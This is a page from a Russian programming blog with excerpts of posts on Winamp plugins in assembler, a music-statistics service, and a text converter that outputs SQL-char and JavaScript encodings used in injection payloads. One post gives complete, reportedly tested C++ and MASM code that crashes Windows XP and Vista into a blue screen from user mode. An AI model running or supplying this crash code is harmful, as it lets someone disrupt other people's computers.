Print This Post Пишем плагины для Winamp’а

Четверг, 30. Июль 2009
Раздел: Assembler, автор:

Совсем недавно я освоил написание плагинов для этого проигрывателя. Следует отметить, что официального SDK от NullSoft нет, и эта компания изредка выдает общественности куски документации по своему плееру. Некоторые описанные возможности не работают или работают неправильно, некоторые совсем плохо прокомментированы, поэтому мне пришлось много экспериментировать, чтобы написать нечто рабочее. Кстати, пример написанного мной плагина вместе с полностью работоспособным сервисом ведения статистики прослушиваний и создания подписей-картинок для форумов можно посмотреть тут: MusicSign.
Существует достаточно всевозможных тонкостей написания плагинов для WinAmp'а, и я постараюсь их описать в этой статье. Примеры буду приводить на ассемблере MASM32 (собственно, сами плагины я на нем и пишу), но примеры будут несложные, поэтому знающим c/c++ и немного Win32 API будет легко их понять.
Читать дальше »

Print This Post Новости с фронта

Пятница, 3. Июль 2009
Раздел: Assembler, PHP, автор:

Давно не было статей, но не подумайте ничего плохого, мы помним читателей и заботимся о них.
Итак, данный пост посвящен исследованию dx'а в области создания плагинов для Winamp. Вообще, сначала хотелось сделать полезный нам плагин (с функциями сокс бота например), но из-за благочестивости главного и единственного разработчика от данной затеи пришлось отказаться. Плагин был написан и отлажен за несколько дней, об особенностях создания которого dx потом расскажет, если захочет. И вместе с данным плагином мы представляем вам сервис - http://musicsign.ru, ведущий удобную статистику ваших предпочтений в музыке и генерирующий настраиваемую подпись для форумов, которая отображает текущий трек в винампе. Сервис только-только создан и ещё не обладает широкими функциональными возможностями, но со временем они будут расширены. Пользуйтесь, комментируйте, предлагайте идеи по улучшению сервиса.
За сим прощаюсь с вами от себя и dx'a на несколько недель, ибо отпуск. Желаю всем поменьше сидеть в интернете и побольше времени проводить на улице. Искренне ваши Kaimi и пожелавший остаться инкогнито dx.

Print This Post Универсальный конвертер текста 1.0

Вторник, 23. Июнь 2009
Раздел: Assembler, автор:

Очередной релиз от меня - программка для конвертации текста в разные представления и вычисления хэшей, написанная на ассемблере (masm32).
Имеется быстрое копирование и вставка текста, сохранение и открытие текстовых файлов.

Поддерживает конвертацию:
* Text -> URLEncode
* Text -> String.fromCharCode (ascii)
* Text -> String.fromCharCode (utf)
* Text -> base64
* Text -> MySQL char
* Text -> HEX
* Text -> BIN
* Text -> chr()
* Text -> MSSQL char
* Text -> PostgreSQL
* Text -> MD5
* Text -> SHA1
* Text -> &#xxx; (ascii)
* Text -> &#xxx; (utf)
* Text -> \xhh
* Text -> %XX
* Text -> VB chr$()
* Text -> C# (char)
* Text -> Транслит
* URLEncoded -> Text
* base64 -> Text

Скриншот:

Скачать exe (10кб) и исходные коды: ZIP

В общем исходный код программки ничем не отличается от тех, что я выкладывал раньше, но есть несколько интересных особенностей, которые я опишу дальше.
Читать дальше »

Print This Post Как сделать BSOD из User-mode

Воскресенье, 17. Май 2009
Раздел: Assembler, автор:

Наткнулся на забавный исходник на одном китайском сайте, где показано, как можно сделать BSOD (Blue Screen of Death, синий экран смерти) в Windows из User-Mode (ring 3) без всякого Native API:

Код на c++:

#include <windows .h>
#include <tlhelp32 .h>
 
#pragma comment(lib,"user32.lib")
 
int main()
{
   HANDLE SnapShotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD,0);
   THREADENTRY32 tBuffer={0};
   tBuffer.dwSize=sizeof(THREADENTRY32);
   if((SnapShotHandle!=INVALID_HANDLE_VALUE) && Thread32First(SnapShotHandle,&tBuffer))
   {
       while (Thread32Next(SnapShotHandle,&tBuffer))
       {
           AttachThreadInput(tBuffer.th32ThreadID,GetCurrentThreadId(),TRUE);
       }
   }
   return 1;
}
</tlhelp32></windows>

Код на ассемблере (переписал с си++ для уменьшения размера, весит всего 1кб):

      .486
      .model flat, stdcall
      option casemap :none
      include \masm32\include\windows.inc
      include \masm32\include\user32.inc
      include \masm32\include\kernel32.inc
      include \masm32\macros\macros.asm
 
      includelib \masm32\lib\user32.lib
      includelib \masm32\lib\kernel32.lib
 
 
.data?
SnapShotHandle HANDLE ?
tBuffer THREADENTRY32 <>
 
.code
start:
mov SnapShotHandle,FUNC(CreateToolhelp32Snapshot,TH32CS_SNAPTHREAD,0)
mov tBuffer.dwSize,sizeof THREADENTRY32
 
invoke Thread32First,SnapShotHandle,offset tBuffer
 
.if SnapShotHandle!=INVALID_HANDLE_VALUE && eax
 
 
  again:
  invoke Thread32Next,SnapShotHandle,offset tBuffer
  .if eax!=0
    invoke AttachThreadInput,tBuffer.th32ThreadID,FUNC(GetCurrentThreadId),TRUE
    jmp again
  .endif
 
.endif
 
end start

Код проверен и работает на WinXP SP3 и Windows Vista SP1. На Windows 7 не работает, пофикшено, на XP SP2 тоже вроде бы не работает.

UPD: обнаружился код на c++, который способен вызвать BSOD на Win XP SP2, Win 2003 SP1 и Win NT SP4 (Discovered on 23.12.2004 by YuraN).
Читать дальше »

Страница 3 из 3123